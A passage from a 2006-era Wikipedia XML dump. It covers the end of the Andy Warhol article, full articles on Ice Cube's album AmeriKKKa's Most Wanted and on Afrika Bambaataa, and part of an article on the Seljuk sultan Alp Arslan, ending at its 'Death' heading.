* ''[[Blue Movie]]'' (1969)
* ''[[Lonesome Cowboys]]'' (1969)
* ''[[L'Amour]]'' (1972)

=== Books and Print ===
Warhol &quot;wrote&quot; several books.
*''[[A, a novel]]'' (1968, ISBN 0-8021-3553-6) is a literal transcription - containing spelling errors and phonetically written background noise and mumbling - of audio recordings of [[Ondine]] and several of Andy Warhol's friends hanging out at the Factory, talking, going out.
*''[[The Philosophy of Andy Warhol; from A to B and back again]]'' (1975, ISBN 0-15-671720-4) - according to Pat Hackett's introduction to ''The Andy Warhol Diaries'', Pat Hackett did the transcriptions and text for the book based on daily phone conversations, sometimes (when Warhol was traveling) using audio cassettes that Andy Warhol gave her. Said cassettes contained conversations with [[Brigid Berlin]] (aka Brigid Polk) and former ''Interview'' magazine editor [[Bob Colacello]].
*''[[Popism: The Warhol Sixties]]'' (1980, ISBN 0-15-672960-1), authored by Warhol and [[Pat Hackett]] is a retrospective view of the sixties and the role of Pop Art.
*''[[The Andy Warhol Diaries]]'' (1989, ISBN 0-446-39138-7, edited by Pat Hackett) is an edited diary that was dictated by Warhol to Hackett in daily phone conversations. Warhol started keeping a diary to keep track of his expenses after being audited.    
        
Warhol created the fashion magazine ''[[Interview (magazine)|Interview]]'' that is still published today. The loopy title script on the cover is thought to be either his own handwriting or that of his mother, Julia Warhola, who would often do text work for his early commercial pieces.

===Other Media===
As stated, although Andy Warhol is most known for his paintings and films, he has authored works in many different media.

* Drawing: Warhol started his carreer drawing commercial illustrations in &quot;blotted-ink&quot; style for warehouses and magazines. Most well known are his pictures of shoes. Some of his drawings were published in little booklets, like &quot;Yum, Yum, Yum&quot; (about food), &quot;Ho, Ho, Ho&quot; (about Christmas) and (of course) &quot;Shoes, Shoes, Shoes&quot;. His most artistically acclaimed book of drawings is probably &quot;The Gold Book&quot;, compiled of sensitive, personal drawings of young men. &quot;The Gold Book&quot; is thus dubbed because of the leaf-gold that decorates the pages.

* Sculpture: Warhol's most famous sculpture is probably his &quot;Brillo Boxes&quot;; silkscreened wooden replicas of Brillo soap boxes. Other famous works include the &quot;Silver Floating Pillows&quot;; gas-filled, silver, pillow-shaped balloons that were floated out of the window during the presentation.

* Audio: At one point Warhol carried a portable recorder with him wherever he went, taping everything everybody said and did. He referred to this device as his &quot;wife&quot;. Some of these tapes were the basis for his literary work. Another audio-work of Warhol's was his &quot;Invisible Sculpture,&quot; a presentation in which burglar alarms would go off when entering the room. Warhol's cooperation with the musicians of The Velvet Underground was driven by an expressed desire to become a music producer.

* Television:  Andy Warhol dreamed of a television show that he wanted to call &quot;The Nothing Special&quot;, a Special about his favorite subject: Nothing. Later in his career he did create two cable television shows, &quot;Andy Warhol's TV&quot; in 1982 and &quot;Andy Warhol's Fifteen Minutes&quot; for MTV in 1986. Besides his own shows he regularly made guest-appearances in shows like &quot;Love Boat&quot;.

* Fashion: Warhol is quoted for having said: &quot;I'd rather buy a dress and put it up on the wall, than put a painting, wouldn't you?&quot; One of his most well-known Superstars, Edie Sedgwick, aspired to be a fashion designer, and his good friend Halston was a famous one. Warhol's work in fashion includes silkscreened dresses, a short sub-career as a catwalk-model and books on fashion as well as paintings with fashion (shoes) as a subject.

* Performance Art: Warhol and his friends staged happenings; theatrical multimedia presentations during parties, containing music, film, slide projections and Gerard Malanga in an S&amp;M outfit cracking a whip.  The [[Exploding Plastic Inevitable]] is the culmination of this area of his work.

* Photography: To produce his silkscreens, Warhol made photographs or had them made by his friends and assistants. These pictures were mostly taken with a specific model of Polaroid camera that Polaroid kept in production especially for Warhol. This photographic approach to painting and his snapshot method of taking pictures has had a great effect on artistic photography. His late oeuvre contains black and white photos sewn together.

=== Product ===
In many of his efforts Warhol has taken the position of a producer or director, rather than a creator. From an artist he gradually became the person that determined the direction and was the public face of a company, having a staff of sorts to do the actual labor involved in his products. He would coin an idea and oversee its execution, his Factory evolved from an atelier into an office.

As this position proved to work out, he found himself able to expand his activities into other fields. He founded the gossip magazine Interview, creating a stage for celebrities he &quot;endorsed&quot; and creating jobs for his friends. He adopted the young painter Jean-Michel Basquiat, and the band The Velvet Underground and presented them to the public as his latest interest, cooperating with them, shaping their public personas. He would produce things and people, and they were part of his artistic product. He endorsed products, appeared in commercials, made business deals and even &quot;sold&quot; the film-making branch of his company when he decided to spend less time filming himself.

In this respect Warhol talked about &quot;Art Business&quot; and &quot;Business Art&quot;, and how he thought business was the best type of art. This was a radical new stance, as artists had always presented themselves as flamboyant, individual, visionairy outsiders - commenting on the normal part of society, but never really being a part of it. And receiving appreciation for that position on basis of their idealism, rare talents and personalities. Warhol and other pop-artists helped redefine the artist's position as professional, commercial, popular; a logical and valuable part of society. He did this using methods, imagery and talents that were (or at least seemed to be) available to everyone. Perhaps that has been the most meaningful result of (his) Pop Art: a philosophical and practical incorporation of art into society, art as a product of society.

=== Museums ===
The [[Andy Warhol Museum]] is located in Pittsburgh, Pennsylvania. It is the largest American art museum dedicated to a single artist, holding more than 4,000 works by the artist himself.

Among others, Andy's brother, John Warhola, and the Warhol Foundation in New York, established in 1991 the Warhol Family Museum of Modern Art in the remote town of [[Medzilaborce]], [[Slovakia]]. Andy's mother, Julia Warhola, was born 15 kilometers away in the village of Mikova. The museum houses several originals donated mainly by the Andy Warhol Foundation in New York and also personal items donated by Warhol's relatives

=== Further Reading on Warhol ===
Jennifer Doyle, Jonathan Flatley, and [[José Esteban Muñoz]], &lt;u&gt;Pop Out: Queer Warhol&lt;/u&gt; (Durham: Duke University Press, 1996).

Fred Lawrence Guiles,  &lt;u&gt;Lover at the Ball: The Life of Andy Warhol&lt;/u&gt; (New York: Bantam, 1989).

[[Wayne Koestenbaum]],  &lt;u&gt;Andy Warhol&lt;/u&gt; (New York: Penguin, 2003).

Richard Meyer, &lt;u&gt;Outlaw Representation&lt;/u&gt; (New York: Beacon, 2003).

Steven Watson, &lt;u&gt;Factory Made: Warhol and the Sixties&lt;/u&gt; (New York: Pantheon, 2003).

== See also ==
* [[Electric Circus (nightclub)]] - Warhol had a section called &quot;La Dom&quot; on a lower floor

== External links ==
{{wikiquote}}
{{commons|Andy_Warhol}}
* {{imdbname|id=0912238|name=Andy Warhol}}
* [http://www.visite-virtuelle-france.com/perso/andy_warhol/andy_warhol.htm Virtual visit] in Musée d'Art Contemporain de Lyon.
* [http://www.warholfoundation.org/ Warhol Foundation] in New York, New York.
* [http://www.warhol.org/ The Andy Warhol Museum] in [[Pittsburgh]], Pennsylvania
* [http://www.artquotes.net/masters/warhol-andy.htm Andy Warhol Profile] Includes a biography, selection of images, famous quotes, and links to the artist.
* [http://x-traonline.org/vol5_1/warhol_responses.html Two short articles about Warhol's 2002 museum retrospective from the art magazine &quot;X-Tra&quot;]
* [http://www.artfacts.net/index.php/pageType/artistInfo/artist/328 Actual exhibitions with Andy Warhol on Artfacts] ''Andy Warhol's works are still widely at present in various shows and permanent collections in museums or galleries throughout the world.''
* [http://www.geocities.com/joopbersee/andy3.html Andy Warhol Poetry Tribute]
* [http://www.the3graces.info/random_warhol.htm http://www.the3graces.info] A warholesque biography of Andy Warhol.
*[http://www.accuracyproject.org/cbe-Warhol,Andy.html Internet Accuracy Project - Andy Warhol]
* [http://www.doubletakeart.com/cgi-bin/dtg/dtg.psearch?a1=00594 Doubletake Gallery] Online Catalog of Limited Editions
* [http://www.malarze.walhalla.pl/galeria.php5?art=70 Art Gallery - Andy Warhol]
* [http://www.gagosian.com/artists/andywarhol/ Andy Warhol] at Gagosian Gallery
* [http://www.freeinfosociety.com/site.php?postnum=66 Biography and Pictures]

===Listening===
*[http://www.wnyc.org/studio360/show121005.html &quot;Warhol, Soup Cans, Cowboys&quot;] (''Studio 360'' radio program, December 10, 2005)

&lt;!-- interwiki --&gt;

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[[gl:Andy Warhol]]
[[ko:앤디 워홀]]
[[hr:Andy Warhol]]
[[it:Andy Warhol]]
[[he:אנדי וורהול]]
[[jv:Andy Warhol]]
[[lt:Andy Warhol]]
[[li:Andy Warhol]]
[[lmo:Andy Warhol]]
[[hu:Andy Warhol]]
[[mk:Енди Ворхол]]
[[nl:Andy Warhol]]
[[ja:アンディー・ウォーホル]]
[[no:Andy Warhol]]
[[pl:Andy Warhol]]
[[pt:Andy Warhol]]
[[ro:Andy Warhol]]
[[ru:Уорхол, Энди]]
[[sh:Andy Warhol]]
[[simple:Andy Warhol]]
[[sk:Andy Warhol]]
[[sr:Енди Ворхол]]
[[fi:Andy Warhol]]
[[sv:Andy Warhol]]
[[zh:安迪·沃荷]]</text>
    </revision>
  </page>
  <page>
    <title>AmeriKKKa's Most Wanted</title>
    <id>865</id>
    <revision>
      <id>41619114</id>
      <timestamp>2006-02-28T15:40:10Z</timestamp>
      <contributor>
        <ip>84.178.165.137</ip>
      </contributor>
      <text xml:space="preserve">{{Album infobox
| Name = AmeriKKKa's Most Wanted
| Type = [[Album (music)|Album]]
| Artist = [[Ice Cube]]
| Cover = AmeriKKKa.jpg
| Background = Orange
| Released = [[May 16]], [[1990]]
| Recorded = [[1989]]
| Genre = [[Gangsta rap]]
| Length = 49:36
| Label = [[Priority Records|Priority]]
| Producer = [[Ice Cube]], [[Hank Shocklee]], [[Chuck D]], [[Sir Jinx]], [[Yo-Yo]]
| Reviews = &lt;nowiki&gt;&lt;/nowiki&gt;
*''[[All Music Guide]]'' [[Image:5 out of 5.png|5 out of 5 stars]] [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=10:fvh1z8hajyv2 link]
| 
| Last album = 
| This album = '''''AmeriKKKa's Most Wanted'''''&lt;br /&gt;(1990)
| Next album = ''[[Kill At Will]]''&lt;br /&gt;(1990)
}}
'''''AmeriKKKa's Most Wanted''''' was [[Ice Cube]]'s debut solo album after his acrimonious split from [[N.W.A.]].  It was originally released [[May 16]], [[1990]] (see [[1990 in music]]).

The title of the album is controversial.  It is a spoof of a television show called &quot;[[America's Most Wanted]]&quot;, wherein real-life crimes are reenacted and viewers are asked to call in if they have seen the alleged perpetrators.  The show has taken some criticism for the reenactments, which critics claim perpetuate beliefs in the criminality of [[African-American]] men and other minorities.  The [[alternative political spellings|political spelling]] of &quot;America&quot; with &quot;KKK&quot; equates both the show and the status quo of society in the [[United States]] with the [[Ku Klux Klan]], a [[white supremacy|white-supremacist]] organization.

''AmeriKKKa's Most Wanted'' is a [[gangsta rap]] album, and the songs are tales of a young black man living in the [[ghetto]] and dealing with such issues as [[drug addiction]], [[racism]] and [[poverty]].  To understand the album's statement, it is important to note the environment of [[Los Angeles, California|Los Angeles]] in the early 1990s.  Riots would rack the city following the [[Rodney King]] verdict, seen by many (including Ice Cube) as an example of the racism inherent in the judicial and law enforcement systems.  Also, the [[O. J. Simpson]] trial would provoke further racial tension in the country, especially Los Angeles.  Unlike many other albums from the same period, Cube did not allow the subject matter to infuse the album with inherent negativity.   He attacks perceived racist social structures, far more than many gangsta rappers were doing at the time and since.  Though he describes with detail the conditions of the ghetto, he does so in order to condemn those that allow ghetto despair to occur, instead of glorifying it.

Cube takes some controversial stands, referring to certain types of African-Americans as &quot;Oreo cookies&quot;, implying that they appear to be black but are actually willing participants in the racial hierarchy that keeps the majority of African-Americans living in poverty-stricken and drug-riddled ghettos; specifically, this is aimed at soft-pop-R&amp;B radio stations broadcasting a watered-down sound.  [[Arsenio Hall]] is specifically mentioned as being such a &quot;sell-out&quot;.  The titular song on the album directly parodies the television show, &quot;America's Most Wanted&quot;, exposing the perceived racism inherent in watching largely African-American men being arrested for entertainment.

:&quot;I think back to when I was robbin' my own kind,
:the police didn't pay it no mind.
:But when I start robbin the white folks?
:Now I'm in the pen with the soap on a rope&quot;

A later song (&quot;Get Off My Dick Nigga, and Tell Yo Bitch to Come Here&quot;) returns to the same theme at the end, with newscaster [[Peter Jennings]] reporting on rioting: &quot;Outside the [[South Los Angeles|south central]] area, few cared about the violence because it didn't affect them.&quot;  Also of interest is &quot;It's a Man's World&quot;, a rap-conversation with [[Yo-Yo]]; the two verbally spar and trade sexist barbs back and forth; outside of this song, the album received criticism for alleged [[sexism]], as in &quot;You Can't Fade Me&quot;, a humorous track where Cube fantasizes about kicking a former one-night stand in the stomach because she is pregnant with his baby.  &quot;Nigga You Love To Hate&quot; is also notable for a chorus chanting &quot;Fuck you, Ice Cube&quot;, setting the tone for the album and introducing a pattern of obscenity and profanity.  

Produced by [[the Bomb Squad]] ([[Public Enemy]]) and [[Da Lench Mob]], ''AmeriKKKa's Most Wanted'' received accolades for innovation in production upon release.  However, many critics do not feel that the beats in the album have aged very well.  Since this time, West Coast rap has largely taken a different direction from Ice Cube's style, heading more towards the smooth drawl of [[Dr. Dre]] and [[Snoop Dogg]]; this album sounds dated as a result.  

Before striking out on his own, Ice Cube was a member of the legendary West Coast rap group [[N.W.A.]] (''[[Straight Outta Compton]]'' - [[1989]]). Thus, Ice Cube's lyrical style is descended from West Coast rappers like [[Ice T]] (''[[Iceberg/Freedom of Speech...Just Watch What You Say]]'' - [[1989]]) and [[Too Short|Too $hort]] (''[[Life Is Too Short|Life Is...Too $hort]]'').  Musically, [[Public Enemy]] (''[[Yo! Bum Rush the Show]]'' - [[1987]])'s spare, hollow beats, [[old school rap]]pers like [[Eric B. &amp; Rakim]] (''[[Paid in Full]]'' - [[1987]]) and [[Kurtis Blow]] (''[[Kurtis Blow (album)|Kurtis Blow]]'' - [[1980]]) and 1970s [[funk]] ([[Parliament (band)|Parliament]] - ''[[Motor Booty Affair]]'' - [[1978]]; [[Gap Band]] - ''[[The Gap Band II]]'') and [[soul music|soul]] ([[Sly &amp; the Family Stone]] - ''[[There's a Riot Goin' On]]'' - [[1971]]; [[Curtis Mayfield]] - ''[[Let's Do It Again]]'' - [[1975]]) influenced Ice Cube's sound, partially through his producers, [[the Bomb Squad]].

Ice Cube influenced later West Coast rappers, including the stoned drawl of [[Cypress Hill]] (''[[Cypress Hill (album)|Cypress Hill]]'' - [[1991]]) and [[The Pharcyde]] (''[[Bizarre Ride II to the Pharcyde]]'' - [[1992]]), as well as later [[G Funk]] rappers like [[Dr. Dre]] (''[[The Chronic]]'' - [[1992]]) and [[Snoop Doggy Dogg]] (''[[Doggystyle]]'' - [[1993]]).  Though Ice Cube's popularity among mainstream listeners has not continued into the late 1990s, and his sound is distinctively [[old school rap|old school]] to modern ears, many rappers themselves have been influenced by his innovative lyrical techniques.  Rappers like [[Eminem]] (''[[The Slim Shady LP]]'' - [[1999]]), [[Nas (rapper)|Nas]] (''[[Illmatic]]'' - [[1994]]) and [[Tupac Shakur]] (''[[2Pacalypse Now]]'' - [[1992]]) similarly use cartoonish and unrealistic images of thug violence to protest the conditions of the poor and working class.  While Ice Cube most often described true circumstances in outlandish fashion, such as a fairy tale in &quot;A Gangsta's Fairytale&quot;, later rappers took this to the extreme of describing physically impossible acts of violence in an outrageously exaggerated manner.

The album spawned the hit single soulful and depressing ''Dead Homiez'' on the charts.

==Track listing==
#&quot;Better off Dead&quot; ([[Brian Holt]]/[[Ice Cube]])
#&quot;The Nigga Ya Love to Hate&quot; (Ice Cube/[[E. Sadler]])
#&quot;Amerikkka's Most Wanted&quot; (Ice Cube/Sadler/[[Keith Shocklee]])
#&quot;What They Hittin' Foe&quot; ([[Average White Band]]/Ice Cube)
#&quot;You Can't Fade Me/JD's Gaffilin'&quot; (Ice Cube/Sadler)
#&quot;Once upon a Time in the Projects&quot; (Ice Cube/[[Sir Jinx]])
#&quot;Turn off the Radio&quot; (D./Ice Cube/Sadler/[[Betty Shabazz]])
#&quot;Endangered Species (Tales from the Darkside)&quot; ([[Chuck D]]/Ice Cube/Sadler/Sir Jinx)
#&quot;A Gangsta's Fairytale&quot; (Ice Cube/Sadler)
#&quot;I'm Only Out for One Thang&quot; ([[Flavor Flav]]/Ice Cube/Sir Jinx/[[Stevie Wonder]])
#&quot;Get off My Dick and Tell Yo Bitch to Come Here&quot; (Ice Cube/Sadler)
#&quot;The Drive By&quot; (Shocklee/Sir Jinx)
#&quot;Rollin' Wit the Lench Mob&quot; (Ice Cube/Sadler) 
#&quot;Who's the Mack?&quot; (Ice Cube/[[JBs]])
#&quot;It's a Man's World&quot; (Ice Cube/Sir Jinx/[[Yo Yo]])
#&quot;The Bomb&quot; (Ice Cube/Sir Jinx)
#&quot;Endangered Species (Tales From the Darkside)(Remix)&quot;
#&quot;Jackin’ For Beats&quot;
#&quot;Get Off My Dick and Tell Yo Bitch To Come Here(Remix)&quot;
#&quot;The Product&quot;
#&quot;Dead Homiez&quot;
#&quot;JD’s Gaffilin’ (Part 2)&quot;
#&quot;I Gotta Say What Up!!!&quot;
Tracks 17-23 are on the 2003 re-release, originally on the out-of-print 1990 EP ''Kill At Will''.

==Personnel==
#[[The Bomb Squad]]	 - 	[[Record Producer]]
#Mario Castellanos	 - 	[[Photography]]
#[[Chris Champion]]	 - 	Assistant Engineer
#[[Chuck D.]]	 - 	Performer
#[[Da Lench Mob]]	 - 	[[Vocals]] (bckgr), Producer
#[[(Ex) Cat Heads]]	 - 	Vocals (bckgr)
#[[Flavor Flav]]	 - 	Vocals, Performer
#[[Ricky Harris]]	 - 	Vocals (bckgr)
#[[Al Hayes]]	 - 	[[Bass Guitar]], [[Guitar]]
#[[Vincent Henry]]	 - 	[[Flute]], [[Saxophone]]
#[[Brian Holt]]	 - 	Vocals
#Kevin Hosmann	 - 	Art Direction
#[[Ice Cube]]	 - 	Vocals, Producer
#[[J. Dee]]	 - 	Vocals (bckgr)
#[[Tim Rollins]]	 - 	[[Piano]]
#[[E. Sadler]]	 - 	Producer
#[[Nick Sansano]]	 - 	Engineer
#Shannon	 - 	Vocals (bckgr)
#Christopher Shaw	 - 	Engineer
#[[Keith Shocklee]]	 - 	[[Scratching]]
#[[Sir Jinx]]	 - 	Vocals (bckgr), Producer
#[[Howie Weinberg]]	 - 	Mastering
#Dan Wood	 - 	Vocals (bckgr), Engineer
#[[Yo-Yo (rapper)|Yo-Yo]]	 - 	Vocals, Performer

==Chart positions==
[[Billboard Music Charts]] (North America) - album
 1990	The Billboard 200	                No. 19
 1990	Top R&amp;B/Hip-Hop Albums	                No. 6
Billboard (North America) singles
 1990	Amerikkka's Most Wanted	     Hot Rap Singles	             No. 1

==External links==
*[http://www.leoslyrics.com/albums/1520/ for lyrics]


[[Category:Ice Cube albums]]
[[Category:1990 albums]]</text>
    </revision>
  </page>
  <page>
    <title>Afrika Bambaataa</title>
    <id>866</id>
    <revision>
      <id>42007869</id>
      <timestamp>2006-03-03T04:40:43Z</timestamp>
      <contributor>
        <ip>70.186.181.23</ip>
      </contributor>
      <comment>/* Discography */</comment>
      <text xml:space="preserve">[[Image:Bambaat7a.jpg|thumb]]

'''Afrika Bambaataa''' (born [[April 10]] or [[October 4]], [[1957]] or [[1960]], though his birthdate is hotly debated; he himself refuses to comment on his age) is a DJ and community leader from the South [[Bronx]], who was instrumental in the early development of [[hip hop music|hip hop]] throughout the 1970s.

Afrika Bambaataa's birthname has been mistakenly listed as Kevin Donovan; however, Kevin Donovan was actually another man and leader of the Harlem Underground Band.

During Bambaataa's early years, he was a founding member of the Bronxdale Projects-area [[street gang]], The Savage Seven. Due to the explosive growth of the gang, it later became known as the [[Black Spades]], and Bambaataa rose to the position of Division Leader.  After a life-changing visit to Africa, he changed his name to '''Afrika Bambaataa Aasim'''. Bambaataa was influenced by the depiction of the [[Zulu]] warriors attacking British troops at Rorke's Drift in the [[Michael Caine]] film ''[[Zulu (film)|Zulu]]''.  He took his name, which roughly translated to &quot;affectionate leader&quot;, from the film.

After the visit, Bambaataa decided to use his leadership to turn those involved in the gang life into something more positive to the community. This began the development of [[The Organization]], which soon later became known as the [[Zulu Nation]], a group of racially and politically aware rappers, [[B-boy]]s, [[graffiti]] artists and other people involved in hip hop culture that gained fame in the early eighties to mid nineties.  By [[1977]], inspired by DJ [[Kool Herc]], Bambaataa had begun organizing [[block parties]] all around the South Bronx, and he was soon renowned as one of the best DJs in the business.  In [[1980]], he produced [[Soul Sonic Force]]'s landmark single, &quot;[[Zulu Nation Throwdown]]&quot;. In 2000 [[Rage Against The Machine]] covered Afrika's song Renegades of Funk for their album &quot;[[Renegades (album)|Renegades]]&quot;.

In [[1982]], Bambaataa organised the very first European hip hop tour. Along with himself were rapper and graffiti artist [[Rammellzee]], Zulu Nation DJ [[Grand Mixer DXT]] (formerly Grand Mixer D.St), B-boy and B-girl crews the [[Rock Steady Crew]], and the Double Dutch Girls, as well as legendary graffiti artists [[Fab 5 Freddy]], [[Phase 2]], [[Futura 2000]], and [[Dondi]].

Also in 1982, Bambaataa became a solo artist (having produced several other singles) and released &quot;[[Jazzy Sensation]]&quot; on [[Tommy Boy Records]] in that year.  &quot;[[Planet Rock - The Album|Planet Rock]]&quot;, a popular single, came out that June under the name Afrika Bambaataa and the [[Soul Sonic Force]].  The song melded electronic hip hop beats with the main melody from [[Kraftwerk]]'s [[Trans-Europe Express (album)|Trans-Europe Express]], as well as portions from records by [[Ennio Morricone]] and [[Captain Sky]] - thus creating a new style of music altogether, [[electro funk]]. It influenced many styles of [[electronic music|electronic]] and [[dance music]], e.g. [[house music]] and [[techno music]]. In [[1984]], Bambaataa recorded &quot;[[Unity]]&quot; with [[James Brown (musician)|James Brown]] and released &quot;[[World Destruction]]&quot; under the name [[Time Zone]] (with [[John Lydon]]).  [[Shango Funk Theology]], a full length album, came out under the name Shango.  This was followed by &quot;[[Funk You]]&quot; in [[1985]] and then his formal full album debut, [[Beware (The Funk Is Everywhere)]].

Bambaataa then left Tommy Boy and signed with [[Capitol Records]], released [[The Light]] (as Afrika Bambaataa &amp; the Family), which included aid from [[George Clinton (funk musician)|George Clinton]], [[Bootsy Collins]], [[Boy George]] and [[UB40]].  [[1990-2000: Decade of Darkness]] was released in [[1991]]. It included both [[hip house]] tracks that were produced by the Italian team De Point (most of those have been collected on ZYX record's &quot;The 12&quot; Mixes&quot; Compilation) as well as hip hop and electro funk tracks. On &quot;Warlocks and Witches&quot;, Bam (as his name is often abbreviated) focused on hip hop. From the mid-1990s, Bam returned to his electro roots, collaborating with [[Westbam]] (who was named after him) and culminating in 2004's excellent album &quot;Dark Matter Moving at the Speed of Light&quot; which featured [[Gary Numan]] and many others. 

==Discography==
{| cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; border=&quot;0&quot; style=&quot;border:3px solid grey;&quot;
|-
! '''Year''' || '''Title''' || '''Label'''
|-
| 1982 || ''[[Planet Rock (with Soul Sonic Force)]]'' || [[Tommy Boy Records |Tommy Boy Records (12&quot;)]]
|-
| 1982 || ''[[Looking For The Perfect Beat (with Soul Sonic Force)]]'' || Tommy Boy Records (12&quot;)
|-
| 1983 || ''[[Renegades Of Funk]]'' || Tommy Boy Records (12&quot;)
|-
| 1983 || ''[[Wildstyle]]'' || [[Celluloid Records (12&quot;)]]
|-
| 1984 || ''[[Frantic Situation (with Shango from the motion picture soundtrack &quot;Beat Street&quot;)]]'' || Tommy Boy Records
|-
| 1985 || ''[[Sun City (Artists United Against Apartheid)]]'' || [[EMI]]
|-
| 1986 || ''[[Planet Rock - The Album]]'' || Tommy Boy Records (12&quot;)
|-
| 1986 || ''Beware (The Funk Is Everywhere)''
| Tommy Boy Records
|-
| 1987 || ''Death Mix Throwdown'' || Blatant
|-
| 1988 || ''The Light'' || [[EMI]] America
|-
| 1991 || ''The Decade of Darkness 1990-2000'' || [[EMI]] Records USA
|-
| 1992 || ''Don't Stop... Planet Rock (The Remix EP)'' || Tommy Boy (EP)
|-
| 1993 || &quot;Zulu War Chant&quot; || Profile (12&quot;)
|-
| 1993 || &quot;What's the Name of this Nation?... Zulu&quot; || Profile (12&quot;)
|-
| 1994 || &quot;Feel the Vibe&quot; || DFC (12&quot;) (with Khayan)
|-
| 1996 || &quot;Jazzin'&quot; by Khayan || ZYX
|-
| 1996 || ''[[Lost Generation]]'' || [[Hot]]
|-
| 1996 || ''[[Warlocks and Witches, Computer Chips, Microchips and You]]'' || [[Profile]]
|-
| 1997 || ''Zulu Groove'' || Hudson Vandam (Compilation)
|-
| 1998 || &quot;Agharta - The City of Shamballa&quot; || Low Spirit (12&quot;) (with Westbam)
|-
| 1999 || ''Electro Funk Breakdown'' || [[DMC]]
|-
| 1999 || ''Return to Planet Rock'' || [[Berger Music]]
|-
| 2000 || ''Hydraulic Funk'' || Strictly Hype
|-
| 2001 || ''Electro Funk Breakdown'' || DMX (Compilation)
|-
| 2001 || ''Looking for the Perfect Beat: 1980-1985'' || Tommy Boy Records (Compilation)
|-
| 2004 || ''Dark Matter Moving at the Speed of Light'' || Tommy Boy Records
|-
| 2005 || ''Metal'' || Tommy Boy Records
|-
| 2005 || ''Metal Remixes'' || Tommy Boy Records
|}

==See also==
*[[Nuwaubianism]]

==External links==
{{wikiquote}}
* {{musicbrainz artist|id=fe3503fb-146f-4d68-a591-a7e5798c321f|name=Afrika Bambaataa}}
[[Category:1957 births|Bambaataa, Afrika]]
[[Category:Living people|Bambaataa, Afrika]]
[[Category:1960 births|Bambaataa, Afrika]]
[[Category:Living people|Bambaataa, Afrika]]
[[Category:Hip hop DJs|Bambaata, Afrika]]
[[Category:African American musicians|Bambaata, Afrika]]

[[als:Afrika Bambaata]]
[[de:Afrika Bambaataa]]
[[fr:Afrika Bambaataa]]
[[nl:Afrika Bambaataa]]
[[pl:Kevin Donovan]]
[[pt:Afrika Bambaataa]]
[[sv:Afrika Bambaataa]]</text>
    </revision>
  </page>
  <page>
    <title>Alp Arslan</title>
    <id>868</id>
    <revision>
      <id>41127491</id>
      <timestamp>2006-02-25T05:37:07Z</timestamp>
      <contributor>
        <username>OrphanBot</username>
        <id>621721</id>
      </contributor>
      <comment>Removing image with no source information.  Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[Image:Alparslan.JPG|thumb|right|250px|''Alp Arslan'']] --&gt;

'''Muhammed ben Da'ud''' ([[1029]]–[[December 15]], [[1072]]) was the second sultan of the dynasty of [[Seljuk Turks]], in [[Iran|Persia]], and great-grandson of [[Seljuk]], the founder of the dynasty. He assumed the name of Muhammed when he embraced [[Islam]], and on account of his military prowess and personal valor and fighting skills he obtained the surname '''Alp Arslan''', which signifies &quot;a valiant lion.&quot;  

He succeeded his father [[Da'ud]] as ruler of [[Khorasan]] in [[1059]], and his uncle [[Toghrül|Toğrül]] as sultan of [[Iran]] and [[Baghdad]] in 1063, and thus became sole monarch of [[Iran|Persia]] from the river [[Oxus]] to the [[Tigris]]. In consolidating his empire and subduing contending factions he was ably assisted by [[Nizam ul-Mulk]], his [[Persians|Persian]] [[vizier]], and one of the most eminent statesmen in early [[Muslim]] history.  With Peace and security established in his dominions, he convoked an assembly of the states and declared his son [[Malik Shah I]] his heir and successor.  With the hope of acquiring immense booty in the rich church of [[St. Basil]] in [[Caesarea Mazaca]], the capital of [[Cappadocia]], he placed himself at the head of the Turkish cavalry, crossed the [[Euphrates]] and entered and plundered that city. He then marched into [[Armenia]] and [[History of Georgia (country)|Georgia]], which he conquered in [[1064]].

==Byzantine struggle==
In [[1068]] Alp Arslan invaded the [[Byzantine Empire]]. The [[Byzantine Emperors|emperor]] [[Romanus IV]] Diogenes, assuming the command in person, met the invaders in [[Cilicia]]. In three arduous campaigns, the first two of which were conducted by the emperor himself while the third was directed by Manuel Comnenus (great-uncle  of Emperor [[Manuel Comnenus]]), the Turks were defeated in detail in [[1070]] driven across the Euphrates. In [[1071]] Romanus again took the field and advanced with 100,000 men, including a contingent of the Turkish tribe of the [[Uzes]] as well as contingents of [[France|French]] and [[Normans]], under [[Ursel of Bahol]], into [[Armenia]]. 

At [[Manzikert]], on the [[Murad Tchai]], north of [[Lake Van]], he was met by Alp Arslan. The sultan proposed terms of peace, which were rejected by the emperor, and the two forces met in the [[Battle of Manzikert]], in which the Byzantines, after a terrible slaughter, were totally routed; a result due mainly to the betrayal of Romanus by his political enemies during the battle and the rapid tactics of the Turkish cavalry. 

Emperor Romanus IV was himself taken prisoner and conducted into the presence of Alp Arslan, who treated him with generosity, and terms of peace having been agreed to, dismissed him, loaded with presents and respectfully attended by a military guard. This famous conversation is recorded to have taken place after Romanus IV was brought as a prisoner before the Sultan:

:''Alp Arslan'': &quot;What would you do if I was brought before you as a prisoner?&quot;
:''Romanus'': &quot;Perhaps I'd kill you, or exhibit you in the streets of Constantinople.&quot;
:''Alp Arslan'': &quot;My punishment is far heavier.  I forgive you, and set you free.&quot;

Unfortunately for Romanus, the Emperor's subjects were far less kind than his enemy, making the mercy of Alp Arlsan a curse: Romanus was blinded and finally killed after great torment.

After Alp Arslan's victories the balance in the near Asia changed completely in favour of [[Seljuk Turks]] and [[Sunnite|Sunni]] Muslims. While the Byzantine Empire was to continue for nearly another four centuries, and the Crusades would contest the issue for some time, their victory at Manzikert signalled the beginning of Turkish ascendancy in the [[Middle East]]. Most historians, including Edward Gibbons, date the defeat at Manzikert as the beginning of the end of the Eastern Roman Empire. Certainly the entry of Turkic farmers following their horsemen ended the themes in Anatolia which had furnished the Empire with men and treasure. The importance of this battle, and the skill of Alp Arslan in fighting it, cannot be overstated. 

==State organization==
Alp Arslan's strength lay in the military realm, domestic affairs being handled by his Persian vizier, [[Nizam al-Mulk]]; founder of the administrative organization which characterized and strengthened the sultanate during the reigns of Alp Arslan and his son, Malik Shah. Military fiefs, governed by Seljuk princes, were established to provide support for the soldiery and to accommodate the nomadic Turks to the established Persian agricultural scene.  This type of military fiefdom enabled the nomadic Turks to draw on the resources of the sedantary Persians, and other established cultures within the Seljuk realm, and allowed Alp Arslan to field a huge standing army, without depending on tribute from conquest to pay his soldiery.  He not only had enough food from his subjects to maintain his military, but the taxes collected from traders and merchants added to his coffers sufficiently to fund his continuous wars.  

==Death==
